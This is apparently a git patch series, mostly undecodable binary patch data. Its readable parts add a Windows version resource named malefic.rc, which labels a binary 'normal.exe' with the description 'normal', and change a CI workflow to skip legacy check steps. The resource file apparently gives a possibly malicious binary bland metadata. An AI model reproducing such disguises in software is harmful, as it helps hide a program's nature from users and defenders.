z5y9d&a;vjbs;J_s@q;|fF74U$GI*F>yZx~+cvv|{DwQmZS^TzGiwGbW|2=&fhSPj|!!_=ox+Ta+^t_?@&+!;`a3<+(DyNeC+y5cjPGnuGQ0l&7sF|3B{GsD!UP}<-#&#sKYXDSb= z5NBAq8c>Mx8FYQb2nFY0KChPB-l)+|slhH50PG``b}%z}5c7A}+2ApM1%{Nc+8sv>bkIhqGSl%rJ}hqKc1adB!iEnT+QQ=&b==Y-Ig`+{GKg;82&YAHMH-C{2q#xOPe5}kz++9*KUi!0R6FOlqn}zUy z_D073a76|g=%=cK)iq0gwYg&Yj z4O8JHMQ(T*0wPp|YnecZ9fzKHu&%UN7>`7!WB}qo}&Ohzx}Uv3$@O! zp;D_3jN#0~`BW8GZrIteZm7lx9S!$LrX=EXr|_}r?js?m8KMcO54pC`Rd)}Ddax(x zN0d1c^PzeeAkWJH(YF+uK9^QE&*xxM{%yI$^A;dZ;}cl=tR>S4(YQ=a7f;w&xV zp&k4hGuf%N!U>WL@b1ZyMAvgdKa2x6NF0qV;m0aX|9(NeRIe*98+AN>vIXB#7#is&cn z#bOpleN^|8XGC@~I}+W@nMH}0SH&FY8d;Jsw{1ULuD?AkzoCb_UOljzQF{{r$!I#E z3bh&&5Fygb^&jiaf7bSIIaVosJ6QDIR~@5~jw_3_VByRvFG(WYGGPUQwBf~exqke* z+1^v}TPf7RnH0bkZhf05g;PWsvEPp;i7^uC7g>yhQUNel_>RC;4dHzbR8Z6ctTyLU z^*Dlzkw^~dOCsny^Q5fcFp-8JeFf|7`eyT=N3l8Se7D7QV7;hNRK=iz_6Z z96!vUxXO-7l~0yxfca3~B}>UQwOwJ`?2rXILK7(McrOXv zfafJT%sQRK0W)=k$53s&36Cb1G;iVLZV+Rdl2YdFWSi|=-)LxTV7+o3y3qsp+O2x* z2$S{7$BVPuV>(k3?9fSPb6n?>BfX4>K0U@3jGrFvaBstIWsYNkLNZWw9@Feuw;L4| z#uVlX$z<6B=pVqIv;)!==lRTaXYBZvWGZL>__vZCD$$<9?rid`$yAMAK&ceYgF0bO4Ez?Qxknmluu^XNS zuvetk@6)IMVHY#tgPtq+K4C`yt^|0%EewmZP4C@4XuTpETO&+kI8eYKVNr$!%yh<9 zW_nCWXk4}(2P1KQftos_J=OgX_m9qw_DsuysfFRgd8oecbo0)s=sUMY-6J&!0L}!Fm3t}GZVhU zAv|U|Ro+i#Ke1x8Kr}f+&OCgd;ztQ^cXx>$??VQ*>DRZljq=%RVsw?ii-*8|DL(C4N0QHq(pR=-Eel92JD#bz|IzffWEzstAo*2M-xNZDRIIK zD*<_4z)qwn(nL**#0F{?L+#!DYP~!E{Jh{9G%BzA3<->ap{@<#A(K)QuI61haM^#SY<;gtq*?88fAL&__>uo(^ARVUP z1P6#I0FLEA1ET*LJ&k@cpzSe$qMU(UQ|<*p5a-MptV+GXSB_9eiYQW&o%MmsEUfTj^qR+M2oxH{O7~F;P!F(%!#+SdDBFPk0c=SlRM@^B%>7waIRmUsrodQf zwcYWT2P|QvB*3ul!{@?`+%zi~DF@`*Ot1$}5`Rn^O1}(eILBeHl?ncEJ+>hjDODJd zQq{8f!qqhL(!e)TTBX{cpUlw!e1>}>=Cjfhz#F*|z^9KK1l)Ccy?T6n(_0u+%hYNj z$Y5#~TMtC3JY-PSvJw0ZU{2#if{4s8o`=)=I7y^(Gs6}?;dbGCdHwx%y*ht-c-U-r zs~ZYKnozCq3~2?>w~1IDw6HrU_@H6zUtJ4u2YHp6NrLWovJ!VaLR z?`3A8W3y#fK=*u~B+#r7R`?ER3DP7N+1E*eAu$Ggr}84fj2sU+KjyKYvVH$LMrJI# zi^`+z<~~`jZ|+D)Njj~{B0P`4mSjgjOwtXDwPQVwfy$8J7mnw9VHHN11$;0z!;dD29D}zz zqp$Y~G>^k#?Z^)Gm}2bUj#in(6n7k?NjfX|Il4N0NV*eH=F5lQZ&&{*zp}%d;Scss zFKSTbDv-SU{4~e^yt1YSq=L>RYchGpe@Nx%X^4;}*D z^s!j7)F!`wzwtJk{@FUUjL>Xg_INbj2JFUbXn-m!)47KeEtnMcbtRxezO#C?5`}R_r5d z%6Pj@--aZrS?YhT+q7-V6Tw>sl_=g6>8c15b_mx`_qDz9 z&CS!@>QNc;kOV3qVkv{|%4u?_vahfh2-vTdCV9)YAPM#pZm`91B#^eiHsdf110*I# zf)oN}!W!_5t4IGk4&G{ZP>N^}F#9`qt8{U7zPNHP{6tQgx(Gk9-4E7)qX>~rp%fiO zzQHC(7DX8cAF2yKPD9+nu1F)S@~@{Au0Y&u|G;TQgi57>=%o}k_92|kLxx^29h6`| zb{Z!NIOK($m$L#p0V_x6Mt}#vo*sf*pd76JyuDr_*gW7P*U$dJRx=e;tj(0{FoS@npQa10j_cwJt2%&_v3993%W;gYzL>ug!hIx|Yxar-DkJ-*>*#6z} z@o}hKD?~b!-3~pvA-@^fkQG6MWp$Mg)W&YjV~Qg!IK#$+XjX(GhkhMx6&S`FP|eI% zJB3;cMz#-Z;`E<&Pl83_2x}fsv1w*Kid@pZnNvk>5qr2a!~%`k!gxvX1_DN%Xo7X8 zgx=>?#csu;RhzWj%*nIJ$HuJIa=N_nb~Ch0mE}Z76t)}REGcm#{OL$qO|$0VLP@h` zxbxPJeJ{_N21$YPkB@Vf;3(SM-5~E}dh>_{PQD1-e|)j=&(k1tKDw`dy!-XHcldAR z@Pw=Ef$zc=hVlo7eAFAJ~sq;?H&S zi#>Yv>fMKi_Vue@ep_CDy5|`}NiP#c#je{I+<1gFAHI{QAq=H*Y^sj-8+zk#w$>yYIbq@pFnm#(*F7 z>0p5KVha$y?^qL~kz9K|dknEA*F2Cn>46bjaLfFekA&zHe-e8*sU3TQU3I5%)tl8&LP++(TyI9HIt4`X=!`bkQjfmKSuEJ-gwQ4UTnN|hZ zDCJkh3Z7z>LN;0#%J`0H{P6}ZAURKr;`-5oQDWDp{) zAAhBU=dq@fgqlnzksMX85ym`$XoGnp&r7gJ8Eejxc_r}!=4I{hY<0)Csuaun{w^Sy zrADYj+6>WH`(^_)mXqJy505ppCfHfA(c;a zcpIWTy(=BGiXLm3b?SMPXryBrVJGof^)cE_Md^4rkcRXf9B*>Vv|vLVRkp>9%_s+* z=Ogwz3cK?@6iG7^*}zpw7@ z7R3hV<$tEvn>AYTnKl(M&=7!KE{gIZjXtM1p_T^7zL7?$I8}1FTYftW{h_5NgQ%Vj z4K#m0wDncobD`;r7HMo|ETg7E2?x>^QD;Pt5Q!~F{j$bea{MZoqrPMQXo zMf4g2>vs(*@285X5gbzx>HN&0qa@6bpn{Jk47H+ySW-T$)@(u$AZ6sHe@no*T4;lX z?F++}v-J|)+1Jg`GWjz|HCjWFJ-t$-4Lrw>5PdS2jp!5+B=CG&-{s>92WnZ$6=XO^ zGLZ8f(km)0#zIKwe)aBOm*Lsx#pQX3qlv6bNqv!m@BG5O7|6hPo>+wS8;^zXK&_01 zJBdirm{^z$irGBE4S`lj>frzCeTXZTX8t^6+gt;`iNLRZ3&OCPXV@->S@df8xRT0B zrPLB!z12Z<3<7>*#?9oFpdwm2&eTnbA0Q*Ljn_I+a3OrowAIiiTjU_ zkBg`HZu4b%S2KCI$8d zLORGG_j#|x`<*A&vvgff*9VI(hn0SO$Nusz?g#%x^+R>$gd8W;m*4sgNhwmDG_jp! zP~MeWf>LB-YjEsw94J4n9DH<1;s9IU6(&T)N!i{(cJvtD<+5X4y)dJf+G?WRr=!2# z$4C`zV{U|LBohiL?59S8EH{WS&ewG%(86bDRh(QSqS#g?4KL#T1K1l7BZL@~Bq75g zmm>9xD#K@Z9Su8X54YUK)^Il}bBDx_pwyH^jDgcGTy~nUz@hsli^ot7Lc16P;73$w z*e=HrMw+j5vLw&EGUFS|8)qg25|(WH1<_sfB86I}S_^%SIS;n_vTOsj%*NP&>_`?Q zUak{_e&k`p5ATqrE|=L%7wFhBY=on8k4wqEG4|tU1z7 zCfqAu;R2=WM+|W=&{2JjB2m>#aDlkp=_oFW?@=UnL1r)~@gkv2aDU9az#2XuQd0Z~ zMBSTzKe3BD+2w9*Eh_v$U}_}NDhoGlm!9Uy+={W0tBkUdXo_e9>WA_st$>Zip6kYu zA3H|=gdK#ruzrXSDagzI$ZldMEMXzj07;Qo{Znc+frXuH1Pj>+sRs1-W=g`IIboTG zQ52%<`iac;Y$;ZUk^ml&S9m|NZ9d#Bf4X14vdbL$2gZ#=TJ@zkJ>ot8X&3DJ4Sb&;ai&ovEPx>wP1|!p6OqjVL+6s7L979NW1UA-$AEn}i;$vFjJ)ZJ z5!g4Gpf5I0*Wblkz21~6AE6=w4|StSokIE)!VEa?sXqxZuJ#O(J1M~;1jUv>w@a;T zsxnPsL)bQIp}EP;h^81R&w%m1JV}sa7xnWeu=G`1Hrn_NJg|@ zGG2rM%stpqIF^{1B;_o2eXL!`=n(LsC*Tz6`r&EE#vQ!~pqG+$yeKbyq?o8KFW3y5 zUEGLqVE52*todhjAu_~z>ES9E;6Jh`$~0J4Dv}sCGebQH z2#{>Sgk~z+g{GJ$)?kMNS(CUUw7A$i?Bjk-nmvU*&-fua#(ISqdBZS3@3j$;7lfkH zz(}oQ5;LP7?nb5T;!IdiXGh{YcXA&|)_q(EMXviE z$~HQ!;_^7$W3lM6LNbalb3cb?VQ_`bHzoc=rTwd;O{8oQ8{KhKGuZB=f=Mgm3L)$i zbc?`sY{CgUQ}Z$<*9b9lBhIpmiLEVmolca&4zxhc^s?q8x-nJ{(1P&IkLEZMR=3x1 zC|0g^2qux0qX+ObBe@~a6jmI#s0pwRXl{Vjb5jp#BC)-d@G;l0T-$z-V0*i;(AfT) z`apr9LtAd5SAk%e(t4jM*nZdjK3t3uFI#F1{qfW_*!S6#pu7U>q+U|QMd%f5?b&8L z%0Jxgig1a?@PD6_Yi+HBD#XawX14z;TgW-1D>Zg+$EOO2VMY%4R>NVx{H9Kx5hz#Lms z!XPe+0x9)aQf>-S0)8|+aa#k?mU^9-l~4u4)`$kaHU4$l7)*8Kij&qu0Q6lXEx@i% zt2o+#V$43mfM&ue29$>Ows?q&nB~cB%u0B;VrH|N)jLS4!NRyyB~Po8_jP8;goUwI z-F%{W+HKA@*l&n!ht+oV6%#gG>D<3Dc$iwPTypiUJWH{CUFd&kR|or$F{?wWZMo?@2i-> zx+f86uq5{S~B@YB!ij86=iex~N*#gs; zQRw0kR~*}ke6%yL{wq|Gv1 z50-jC7N+>JVYCEcH(bQFTRiNP+cUeT8Wc(81p{v1y)EP2JsrW*faF*n6h^-##XQA* zM=p|;HFYKcNl{nx)pFIT;JgC^5sHiKu~hk>6a$!3c~S7e8!Io&%6ZAR zZ)*q;{@D}TZ~97+UNPj-VNv#yC!=M#buO2{oSnm6A$>T{x`J$nAlTjBul~dr4fdOe z$M2p0nP!T=kDg)dYJ0bQcv#(>tsbB5`iT#F zo}p3dVMB=lwvm{fwJ{VQq{J9A?kj+@iiZ=~nKyUS(CfEQO$cG7XuDcV5ke_ijo6nOHnK0zq(=Atg z?#VYe$F}M3RL0BwLRFC&Iu_hGRiqcVrXD-_uiiEPVEfcAK4T>UhW?lsFxbH3ZImiKJ1Eq?VH(g<<_IAk;B zOj+pj&dc*fSzV-MaXu-b+z8RKSx1l`NmGNppG5)65s>B`gHjLY)Mn0r64aW9@s%}B z>GZP|4Up>iVkA4CkV9~Q|0r_{t*5Fo)uxlBP=@m`n?Ra4oH&lmh7*#EExBvGdYdL% zvXxv14S9(#*MG2kzV>LkR$00&t>pWvX0_|FB~mtKjT1+@il%8AWwwdhlF&)~5Gk|r zIZxE~nPpw$f4an|JZ);1yzLK0!ZVYevtPWFrzhn}-gxe|E@SF%UYy0HUxb`H=gAYh z{mNeb;52uj@$1uGU$3lptJOK@FoMHfT~QXzLg&?Mc1PQXUw-{<`Q`d%^|h@RGPQ=O zmjw|vB{ESS`@=KN@l2=J?4P_Mybe4W>VMfYu71XT@n^i6yOt|9Bh2Q>tf=Mz=Nd9X zp4^rH;V*O6UFz3ATdwo=7tig=h444lod4OYk8%TWer37z&fa!SLOgh*K6s5K*;lR; zx{g}H83tF|+uiDHwZ_GH*dx!AY&>En+ORj2H^QvNl4vWPq)4>9#ti4Dra=3=FIai3 z2~^5uL7Vl?#}|8K$id!MU7k{`h$TyP=_Hw?gaZ3(O%0u(uZXE!Q^iCmDN|#mE72A7 zg{#jsp(=qa4A4Z&ySp#T>p!$wN4-KtC{d;hCWs{A3K(xR1$2VG5~gxZ5fh=LObwE* zL|4!ku0GdtFsQj)6`#>e3-sx$g$*I-KUAEYtF9q9p6B0)cxApD0}rBCRA%U z{6<~3fws`ZA1PK1gWkNvqG=Z_hTrR>!{XxbJ3XAHyrLqu-@70Gsd$w4lLz&UTcysl z%9}h))R1BM48j@{JcFp(a?d6SS;9|ltH$%|=5n_FHtfO8J6&rT^;%;oQKwO_^xDdV zH`Jyw;nf-lH$2}5h*7Wgff)5l4~PkGs6g!XYU73o(H$mrs2Ihtrez@>3mMKoU%mS0 zD-W9)#s`pR6W!S6FRJsKzesN9CyfHFrHTGwl+hbH_lhh-~DbQQsVv3S&Lje|^()QiQVgorn~Ha1yU_iEETDYK8#g^I<$OlYgmB)GB5 zUs7Ld6h0Zsx{+-yY?K-k?0Py`swqz=X+jJ>27GNKe5N+hhQ+2)oDRuWln7OCN5R#+ z)XfXVz1KL%6j{9>JWdQ9h4*{6u>fWHaU4$(hfg87G0tC8V{0TnMRiptX{v2&YUA`c zQY=1Dm}<_G*Q>SQ$t79C@i^F~HOeO5wSrGr#a31qBp0t=ziA~Jy{mb#AC$+v+c?Wq znObljCr)j9`-#Npy5ZZ_L9Ai0fH2Mh zj7>|o^@#AFpfY=xh=s;xW`;m-WM;`pf78kdDl0sy^N*&|wq`a;jU$ET!(^$ZJaw&F>z!Iq z8xEhzP1>+{djDueHKFQV3#QShns>U9^qD{6wZ=UrNKzv32q9_u<2T4A&b5M1SHo5my|KQxKcL-bP4D0PeNPsR-|YE%?FOvu)?y z=IDOg9Eagl4t)rxzTHD`zn4`2_v0er*W$E?2QuN~-`BAl|E`AI)K@9ort)Y|t53Y_ z1K8MC6|Ba-)`w}@TN*->UjJqH^I?T7t+=|-VWDoZ_**1vI8@9Kv*%J_t1TD|K{|G&?l5iIf4m(M!#r&~Prx~Cxc zw)%bz*Zt?uBmZo4kTiSwDa`VM!w4Lhr%FIcPW$o{m%_ZD)5f#EuRpvvt!U^kIK1HS z63j6udkNd!*z@ljwqG=R@l<)1^x_XM{_x@t^_s%VSng#k_cE4y8O!z75np=9mmcz^ zhkWTFUzTjyXOEXz{>v<%e}8)!E5D4DU&hKW5%FcL-0TK;iHI)|@oyXvU)=M>J^#k; z`LfLNGP!zLW_ej=d0A$8S!U^PUEbhmnRUVr${lo6()n@w#ZuG;Q$<90BZ~9ZgiXd-g5M}>* zT5V0RkQu2ATF9P4 zX`y(^5Q$lf&QpYn`RX2*+;U&(T1?GeDN`{Zi+hq43T|5=w(ExUhmvi3#4W)3D?n9@ z7Fk8${`?}{dTeVfYwJV5+KMwWn5}m1%?5#2i8`YVPq@uJ4>4Il05k4493;3Zx%6^d6imRGpSQC#(n@u2et zqd_|fU;&Lmh|X*bp82`YKVUn*&B`KQi-uZyuvx(t#+$=7*iV|Sar`7u-l~Bq{ue6*+Z@&F^KvcF+d*UsKxeD@iL@g#v!Hw?YvBV zsGz97&{nrs)FRh=+F4BuEXhK=Dz{RSW(0{~BdXJMAXulUBO17N50#kKE9*zKUQrv@ z*wd%&7IC3R1e9bhwH_Ly>dhQYp0-idTibIE+G!2v}g$KGUt$7HP(6OJrL$UdRPV{KfD{R0EG?$5vl4l{I5H z=$mc6aRGIJ>Ye~nd3@0on4XIl1Tr<(MjviJvP8E%^{QMCrCheWQq;~^I^7$E*!V#4 z0PLKWH;7-Y8Pw8*xYkjMhB=*IvX zS5P!F)mPdg&5PO+aPK&6pVrryuq!SmwTcUxLT?=gLM=cV=-Sr8zK^}-Eg6R9|3H!4 z-aCS}4M=2oseD+io0!_vRemM_XkV6#`l!hzEo$r`>pB{Yntv;ZG>`lBZ=SZbZ5}ku zU)EQ2P$H-jI?Khn-g0SAckTyGFV4jC2OyCncKh7$SdcTU&(GJ(hsW=mU9?@T{@bCV zJXg_CiWQWU(iW|=)fz#jp8wQdEI(6Fl8gEX$t5j1;-SE&UbvGUDK(Hv`pQcMlHOv} zEBeZM4BVeJGy`MV3Nj(EuK(Fi5So8OjNCq&$MjP{+;M9iudOjxwRx=7x>u^!yjR%P z9-9e-$uQSlV(#(#^6m-iB?1hxQ1M2Rrtg^~N$aJov^TyKvk&F5f}>K}hf^tRQB|I| z(`fa%f~#8G2UacZAuHAEZ4*6|7v3uELM`sM4YjmwA4@5r9?+kA<(c?$~!dcxOu)?Zg$-w~BU{_6h)sDTj} literal 0 HcmV?d00001 diff --git a/resources/malefic.rc b/resources/malefic.rc new file mode 100644 index 0000000..525d8c8 --- /dev/null +++ b/resources/malefic.rc @@ -0,0 +1,30 @@ +#define VER_FILEVERSION 1,0,0,0 +#define VER_FILEVERSION_STR "1.0.0.0" +#define VER_PRODUCTVERSION 1,0,0,0 +#define VER_PRODUCTVERSION_STR "1.0.0.0" + +1 VERSIONINFO +FILEVERSION VER_FILEVERSION +PRODUCTVERSION VER_PRODUCTVERSION +FILEFLAGSMASK 0x3fL +FILEFLAGS 0x0L +FILEOS 0x40004L +FILETYPE 0x1L +FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904E4" + BEGIN + VALUE "Comments", "24 Jun 2015 18:03:01" + VALUE "CompileDate", "24 Jun 2015 18:03:01" + VALUE "OriginalFilename", "normal.exe" + VALUE "FileDescription", "normal" + VALUE "LegalCopyright", "Copyright 18:03:01" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1252 + END +END From b030d675ecfb4e44eb68ad996055b812e521b7c6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BD=95=E6=AD=A2?= <68958533+h3zh1@users.noreply.github.com> Date: Fri, 10 Apr 2026 02:48:50 +0800 Subject: [PATCH 4/4] Skip legacy checks when scripts are missing --- .github/workflows/check.yaml | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/.github/workflows/check.yaml b/.github/workflows/check.yaml index 89f8dad..708588a 100644 --- a/.github/workflows/check.yaml +++ b/.github/workflows/check.yaml @@ -39,19 +39,33 @@ jobs: submodules: recursive token: ${{ secrets.GH_PAT }} + - name: Detect legacy check scripts + id: legacy_check + shell: bash + run: | + if [[ -f scripts/check/check.sh && -f scripts/check/profile.sh ]]; then + echo "exists=true" >> "$GITHUB_OUTPUT" + else + echo "exists=false" >> "$GITHUB_OUTPUT" + echo "Legacy scripts/check not found, skip legacy check steps." + fi + - name: Install Rust toolchain + if: steps.legacy_check.outputs.exists == 'true' uses: dtolnay/rust-toolchain@master with: toolchain: ${{ github.event.inputs.toolchain || 'nightly-2024-09-18' }} targets: ${{ matrix.target }} - name: Install cross-compilation tools + if: steps.legacy_check.outputs.exists == 'true' run: | sudo apt-get update sudo apt-get install -y gcc-mingw-w64-x86-64 musl-tools protobuf-compiler sudo ln -sf /usr/bin/musl-gcc /usr/local/bin/x86_64-linux-musl-gcc - name: Rust cache + if: steps.legacy_check.outputs.exists == 'true' uses: Swatinem/rust-cache@v2 with: shared-key: "check-${{ matrix.target }}" @@ -60,6 +74,7 @@ jobs: save-if: ${{ github.event_name == 'push' || github.event_name == 'workflow_dispatch' }} - name: Fix line endings + if: steps.legacy_check.outputs.exists == 'true' run: | sudo apt-get install -y dos2unix 2>/dev/null || true find scripts/check -name '*.sh' -exec dos2unix {} + 2>/dev/null || \ @@ -67,6 +82,7 @@ jobs: - name: Determine phase id: phase + if: steps.legacy_check.outputs.exists == 'true' run: | if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then echo "value=${{ github.event.inputs.phase || 'all' }}" >> $GITHUB_OUTPUT @@ -75,6 +91,7 @@ jobs: fi - name: Run checks + if: steps.legacy_check.outputs.exists == 'true' run: | chmod +x scripts/check/check.sh scripts/check/profile.sh ./scripts/check/check.sh --target ${{ matrix.target }} --phase ${{ steps.phase.outputs.value }} --ci @@ -88,15 +105,29 @@ jobs: submodules: recursive token: ${{ secrets.GH_PAT }} + - name: Detect legacy check scripts + id: legacy_check + shell: bash + run: | + if [[ -f scripts/check/check.sh && -f scripts/check/profile.sh ]]; then + echo "exists=true" >> "$GITHUB_OUTPUT" + else + echo "exists=false" >> "$GITHUB_OUTPUT" + echo "Legacy scripts/check not found, skip legacy check steps." + fi + - name: Install protobuf + if: steps.legacy_check.outputs.exists == 'true' run: brew install protobuf - name: Install Rust toolchain + if: steps.legacy_check.outputs.exists == 'true' uses: dtolnay/rust-toolchain@master with: toolchain: ${{ github.event.inputs.toolchain || 'nightly-2024-09-18' }} - name: Rust cache + if: steps.legacy_check.outputs.exists == 'true' uses: Swatinem/rust-cache@v2 with: shared-key: "check-aarch64-apple-darwin" @@ -105,11 +136,13 @@ jobs: save-if: ${{ github.event_name == 'push' || github.event_name == 'workflow_dispatch' }} - name: Fix line endings + if: steps.legacy_check.outputs.exists == 'true' run: | find scripts/check -name '*.sh' -exec sed -i '' 's/\r$//' {} + - name: Determine phase id: phase + if: steps.legacy_check.outputs.exists == 'true' run: | if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then echo "value=${{ github.event.inputs.phase || 'all' }}" >> $GITHUB_OUTPUT @@ -118,6 +151,7 @@ jobs: fi - name: Run checks + if: steps.legacy_check.outputs.exists == 'true' run: | chmod +x scripts/check/check.sh scripts/check/profile.sh ./scripts/check/check.sh --target aarch64-apple-darwin --phase ${{ steps.phase.outputs.value }} --ci

=+5r>m_o}d{l+`c4Dx*{N(F$7R z*=oh7^9jPDQdVaB9x21}_#~Q#>XhMC$|j9Z78aGV0{32$*C3Uy%loGYhe|mOGR!e!0U6_zVq+X%M-%nFUR!STBBMpPoxR`xJh7EZ zZT0mk!AW7fzr9d6RLa4Z!hK_Xh#4<&Z~RJm9785oo-da0R2tsP(|E z*K9|VZTYr3$FsPJq7UDQFT{d_%<;32ei~lVWma1>q zVkuIlZ)u{-X{p?5w7YvPNYOm}g- zd7#-I?sX3?`D?>33WG`+_>x(cqb)4BT3u`|x%~XHgs0N*>2$dAz=~i301r5xY>t39@ivkYSX{EKj?loKc;+|*iG=%Df(XxWJfGJY%!DrNY* zNu((;&uE5kCU1T!94h6c$6Pi|hW?$uRy?7*xs# z^#>ERDIeT~|8EITrQt*VF@yK}?QZn2FhDSd^S{EOQckE$%8lN^R;ReQIK8sF-CEk` z+q410YihOI0hq;n7~Wi*VFg+Zl^^mU45*v>9V zviWfjVNoe7UCx%}?pH=EvYgX|L!}%PdZL}R94yRTY~$6;^R8UZknmLf!w+L&=bkyN z8gb#zl<-s<{ysQ<@7Nf^#y`MkkF{)^JJ{$Vqu91xAYrLAY{*{I?mK%g zmatSBHa#}6?b7z0wSA~PBZr!Exan@=e~2)sl(7YIY(kn7ZGC!uXr&vQWn!8(3X@8i zA-l?`jb*gC+na5)yVkBP!k|({dM@0ityDxu-|g9Pmv6wQS<5Z&a^X=a&(HTI(wUm~ ziX_vN+rxxMr96LMDB1p%Om)vR&+r~DJSyd-uU}kx(V%A0nE#Iy7L~Hn<99!1wd)8F z)YvjC;i)uyx{om7v7Up~Z?xB4;AeTI(YBls;ZP|DUlRA^ZJO-ekjip%!G_;1;i)uy zx?N3%Uz*_ch#85yG+iq!DrKeH6w8`y9yE&sn4gmpmMSmo@OE}lqqri*svMJ-*GX6^ z4V!LzcS?9F4WDkCY2Z*a-{0Ey!#Uc~6$X_u((R66 zm^nSvD}E&l@$q3rQri&xGNWjOf*qf zqkj5a;ZZ5i=dbeEzm=8`Wn662t``W0N;&wF$X|19i5{DcbFJmaUVkXzsq(_xKIyuZ z*4%!!KJXOA|56E0rQy?Uh7FI|!C|z4ChRLDER}{$_Y1VWg!Rm{-NyTB2}`A6(`9Po zHKWea_Bu#b=!n2rjjdqjMIy2qzQl;#lvG}-fsFZ^*iMm_joYKU|BG(+>%)#O(+7~1|m4;8(W3_=5z_x-mFTNxUDrE%x9=BQ+%I&=}#ctB^ zSHhsmW0a;x$Lix#V_0)CTN|mG)d$v&zYzx2fDEqQ*f~`#BfnU8zAg+ZWu(WX#*W%V zu{u*KR?A6Sz9Aec=>5*C%R{9JydKAAk9*@ZO} zX7lIg!k|hs)Rxhyag-F-zM!3Q>zgg(--SUnFk`HVD&Cs2j9&_aN*U>~SIiE_uy>ZL z%_Urp+qu$T3y(^9>Hac{=Vm*d5B-<0sFal+Z^u{|hhh4y1A`prx5A-Pj&F+tc|F~l z!?T5M4)}M%pi)Ml#y-+V~icRb<<^H=)=bfgGw2F^Wf?tTC1KAKTffc{29+}U zl)qW0!|_1@f3)R(2yO50P${QRURRrQ-QIk2euh&+p z4a}KZY<6rTRIv7(FB~f6q~}>-+=8+x4+$>BgW%g65)~d%DqSwo6#R zxYw_hx=eUf%1d8c#PUDJ5v! zi6C1CuNDTCGWyq@)wyQsn6Rjn)u#?kHkS`#y_J|{{OcNFQ7NlWe%t!!`rc__P${ENep|-& zE^oydTWZ3gQqE=^=f2i~{)O|X_NK5|L?Oc`!`vZEDrIg3bMwGV9kMY0cL|e9nOks- z_v{9=eiwZ&wgQ0DI;x9iedJt@DuRNua2;&l$E}| zO0kfzJ#CCdJbNia}D{VXHaFej8 zl$G}16wA!S4mbCpT{BD6(6!j|yjhr3%Dk*#_w!eO%VUwyRk&2jP5W^k z*KXSaQ%qhyLzq;`Ot&+6Ot+PqV?IlmRLV?`AKX05Xbls|=DE8b5XP?O2!l!)hnLne zCN)_qmic^PQYrI79M9Otr_MP#%+$%O9iMh!{dkdZsFdSvOZ4-ZW1ChdKDK#@FsYR3 z#|}9@W9qM2uZEhpzhKk)a^X=a?>;ylU-L3DU7u_m;OGd4O!{7h5O%yxrD1)0lt^DP zn+)T%!k|)yPfvo8H5Rg2RIoO^L3mWkJFAdf2afdciU#v~OE|{zdNV@U^iXNob8(D& z=4swW!q%sHdmCJJ#2Q z)Eo`}0SQl~;msxxBI@^TVH!uv8j0J+4UD;h#X{lW{XMm}MI?>H4hj zsFZhRA-P5i`BH7|-tGG8&q+8c4R;a3T@drfq#e;GVXa^OrLd@!L#|DATTg5)PGe(&IIo z=k@}DkBVdcE82Nehy|O*e-;*%vb;Yf+FCq+WM36D(O9jnbjG`#y=DsAl;KZ=MWrmC zz62|cDp;F-Asi~@T!7<&y#Q@T%UwG7f~w0c=YNDlWjR+CjyPuN;5YxbzL1W4N8#9e@p$RV8&SRX zVxzbrGp9Oq;h`%ozvxE0SZ`_Q+Sc;Yjhi;!*y_x+SLU0Lmu$Rb^W~d1;`7F(eV755 zzj5zMYkt1D2k%k;&3Z7k;;Pt})^79SDD>3!i4IJ!ch;J8d0|I0NVM z^FHqLEPQ%f85bG%#cw`McRNAt%R1)cKF#s(=eYOB=K=WAiD+<-fj;$&vkU9-$v@MF zn}-MXU!^Zd^f~J=lRO(htu;oaf@-3ev%R zUIR^k8_lerzD>b3DIO4UuY`y-8L=a%zhs{8m@FU0!|xa1-|@&i?~hmai*K~C&}y$H zrPt>znm|W&A_rg ziih;;J4Y&G+wq|OcHE@C{Wc!|i>%`#*WxklbA$YtxGB!Jo)gjK_Uu7}4<;CoTVO+m9!_G487{>kFg0VI8 z9Am4V^T{lZIc)Q7XkA7;Hh;}oOi$)HHgDyer)6=5$GO>zu{HDf_L1U_UH15gv%)(& z48`SJ=6TK*f8N!F~i>9I)!xZom5fajU<*TbEkps6%| z!tYsrvKwOrmP67{xa7p;tVw6mM|gZ{c)W7m?1=H9q+jrOWu`cehn{Y`66rwq zl^&d#l^Xo))3VK_Wz?mG-?P%f`oOxHb?lnFe#%^(@X=lScKM}fpOrl3`mZu5 zT6eBz^W4YdTz;m{UssrL=W{&3IB&UG#{*ON&M?L+pqVa?lc({?Kc^tLiCGOovOKEF6l_V#5R^Ktue@-D}H6h425 zI#4)$9dd%HyWNb3N1;!~H?x~ACLq|JbDVq)e&=a?S-rie<(f}BULMB*47V9Z4~;iF zd$IQh!%pHj=Z|8?U3?77_0%|KoiGt@D0&QGI2PZDFmA+}^iqt~*A{NT@#whxB;??U zg<1Sf-^TiIGREdN;vD`x8lT4mX_0YdGA7gqj z%M632p96~*<2qjPE@c18&}%a{P_6f0m5O0W-KWC z!@K8(!z#$Bv1)O8d!-bQ)#Uvt1BXqj4dr2!rF7%pkZ)NEgJ5gx#8S3nhg2OD%VIk*gA50F2mN5x-)saI5{?p ztt9I+#W7$0XXJ*j%}!5GRcEksS{90>;}X?{?Or zF~SdaV2p+Pe`bs|hc?xXN;7L1CeWkTErD~;up=F8+vmY!+kPYZV?Vy&Z*0?}V;61L z*A@2Q82@_Nm+%lXwzKq5^F@in}TYa)G&G;P=uEjN*pWDS-E}KiOy`9+( zW?!+3>&QakHh*kwp|Lc_H4`Ww|JyM<-~4EQ!*wg>N!zVXbF8rl|M2IXP?&4r0r=M5 zeakYBd{W_%`$fZ^Tv*{NcnO$xuc(ppPtjvD`*2&jgN0k(7RI~2u!Ifw_cxcZBhJd+ zeW~!L#gE4r%*T`9#|y}3|0ivLDWv}SNT2Pva{CT^mgB}YzDLI+i}=p+`QOm%j| z>__R^oOu1v^QNZp$b|t;jgNDE5uQb0J0s&8lec<4&)wwu7a7+i&e;LZRB|knIA^#r zGf|wjZMlqL66efLUOUMhS!s`qTN39~i#sJRLTU7QfqRXT#$mJtC%Sg=0Lm*`^CY$D zmOu{qcHkhwnl=#rLVsGpclr~3h{yPS75}2wfBpReE7((hf!`1*-qTo;z;-x1j4`2g-^4! 